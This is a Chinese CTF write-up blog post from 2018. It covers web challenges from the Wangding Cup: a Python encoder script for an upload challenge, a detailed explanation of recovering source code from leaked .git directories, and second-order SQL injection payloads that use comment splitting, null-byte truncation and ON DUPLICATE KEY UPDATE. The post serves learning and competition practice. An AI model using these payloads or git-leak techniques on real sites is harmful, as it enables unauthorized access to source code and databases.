网鼎杯第四场Some Web Writeup

comment出的还可以,里面有很多小细节的坑,学习一下。HCoin就比较难受,对此类型题目无思路。

NoWafUpload

这个题目是我以前出在SCTF2018上面的简版,不过被一些地方坑了一下。

当时一直在用python print然后进入管道,然后再用linux的md5命令
这个时候会多出一个\x0a,导致一直算不对,换为sys.stdout.write输出就好了

import zlib
import hashlib
import sys
from struct import pack

def dec_(file_):
    f = open(file_,'r').read()
    f = f[48:]
    tmp = ''
    for i in f:
        tmp += chr(ord(i) ^ ord("\f"))
    f = zlib.decompress(tmp)
    return f

def enc_(file_):
    f = open(file_,'r').read()
    data_dec_len = pack('<Q',len(f))

    f = zlib.compress(f)

    tmp = ''
    for i in f:
        tmp += chr(ord(i) ^ ord("\f"))

    m2 = hashlib.md5()   
    m2.update(tmp)   
    md5_ = m2.hexdigest()

    data_enc_len = pack('<Q',len(tmp))

    enc_data = md5_ + data_dec_len + data_enc_len + tmp
    return enc_data

#print dec_('sdfasgerwtytc.php')
print enc_('test.php')

comment

git泄露

console里面可以看到一些提示: 程序员GIT写一半跑路了,都没来得及Commit :)

借此也聊一下git的一些工具以及它们的原理,从目前的测试工具来看,BugScanTeam团队的GitHack应该是最稳的。

先铺垫一下基础,先初始化一个git init没有任何东西的GIT目录
然后只git add一个文件,这里并没有git commit

在这里要区分三个概念词:版本库、工作区、暂存区(stage),更详细的内容可以看这篇文章

盗图一张:

提交一个文件的时候是分为git addgit commit两步的
git add的时候,是把文件临时放在临时区stage中
git commit的时候,是把临时区stage的所有内容提交到当前分支
当然这两个在objects目录都会生成一个对象文件,来存储数据。

可以看下当前目录结构为如下:

├── HEAD   
├── config # 存放git的一些信息
├── description
├── hooks
├── index
├── info
│   └── exclude
├── objects # 存放对象文件
│   ├── 0c
│   │   └── 14454dd8d472ef27843ac8c86bdba161c27a03
│   ├── info
│   └── pack
└── refs
    ├── heads
    └── tags

其中index的内容其中就包含了一些当前版本下的文件信息以及对应的objects目录下的对象文件

对于git中的对象,推荐阅读此文
它包含了Blob对象(用来存储文件内容)、Tree对象(表示内容之间的目录层次关系)、Commit对象(相关的描述信息)

接下来进行git commit,多出了0c31两个目录

对象用zlib解压即可看到内容

f = open("14454dd8d472ef27843ac8c86bdba161c27a03","r").read()
import zlib
print zlib.decompress(f)

可以看到下面是新生成了一个tree对象、commit对象

看下commit对象内容,可以找到tree对象的一些信息

再通过git ls-tree 31d459查看到tree对象里面存放的内容,即一些目录结构,以及对应的Blob对象的object id,也就是通过tree我们可以找到对应文件的object id。

所以获取源码的整个过程就是 commit -> tree -> blob
***

接下来我们再多添加一个文件,进行git addgit commit操作

├── objects
│   ├── 0c
│   │   └── 14454dd8d472ef27843ac8c86bdba161c27a03
│   ├── 2b
│   │   └── ccc291c71cc92898645cdc8990056027108580
│   ├── 31
│   │   └── d459eb83ed7f3d9195b2bd24d4e2cbdc7e299c
│   ├── 85
│   │   └── 66ddc152da79a3e2fd4a00123aeea397e574c4
│   ├── 8e
│   │   └── 63e6627218b1e455a5ae4bc45135316cf39055
│   ├── 98
│   │   └── 0411cbd21c224e546111360d20775d62c33349
│   ├── info
│   └── pack

这下新增了2b8598三个目录,分别代表着blob、tree、commit

看下commit的内容

可以看到上面的tree是指向了85/66ddc1,然后parent是指向了8e6366的commit,也就是上一次的commit内容


下面就讲下Git使用过程中的几种情况,以及对应如何去恢复代码

1、当年git泄露漏洞特别火,lijiejie师傅写了一个利用工具,流传大江南北。

因为index是存储工程中最新状态的文件,所以它就是获取了其中的blob的objects的hash,然后去得到文件,最后解压得到源码。

2、rip系列工具,当初在做P师傅出的XDCTF2015代码审计全解时候学习到的

对于获取其他的分支、tag,都可以从/.git/refs/heads/.git/refs/tag里面拿到最新的commit对象id,然后就是顺着这个可以爬到parent commit

假设获取master,最新的commit的object id可以在/.git/refs/heads/master获取到

3、具有场景型,协同合作时,远程代码有更新,即本地代码不是最新版本。为了避免出现版本冲突可以使用git stash将这部分暂存起来,然后便可以执行git pull,暂存的内容便会存放到/.git/refs/stash,此处我并未使用git commit

╭─l3m0n@l3m0ndeMacBook-Pro  ~/work/tools/src_tools/test/demo/.git/refs  ‹dev›
╰─$ cat stash
e0945bc49106ac493f0d8c3b32370374b2d36a28

所以通过上面的commit我们依旧能够通过 commit -> tree -> blob 这种模式得到源码

4、使用了git reset --hard HEAD回滚时候
这个时候可以获取一下/.git/logs/HEAD文件,它会记录所有历史

比如上面便是reset之前的commit id

5、git gc,会打包object生成pack文件。但是有种情况便是git push失败的时候,一般push时候会打包一下,但是失败的时候并不会解压出来

这个场景的话,便可以获取/.git/objects/info/packs得到pack文件名

使用git verfy-pack -v xxx.idx可以看到一些内容信息

使用git unpack-objects < xxx.pack便可恢复

注入坑

这里就可以找一下stash留下的object恢复一下,便可以看到源码

printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - f569f235780f24c42b60f50d528a03f7238c80 | gunzip

比较明显的二次注入,但是坑就在他是换行的,没法多行注释,一下子没想起这个梗,一直都是#注入导致很蛋疼。

创建一个CATEGORYaaa',content=user(),/*,然后留言回复*/#,便可回显注入

因为用的是mysql->query,也可以也能用%00截断一下,aaa',content%3d(user()),bo_id%3d'1'%3b%00%23a

还有一种就是利用DUPLICATE KEY,payload: ',content=database(),bo_id='1' ON DUPLICATE KEY UPDATE category='

参考文章

https://blog.csdn.net/zssureqh/article/details/53056095
https://www.cnblogs.com/lianghe01/p/5846525.html
https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/0013745374151782eb658c5a5ca454eaa451661275886c6000
https://ring0.me/2015/05/recover-code-from-corrupt-git-repo/
https://www.jianshu.com/p/fbc9eca95e26

posted @ 2018-08-30 12:06 l3m0n 阅读(...) 评论(...)  编辑 收藏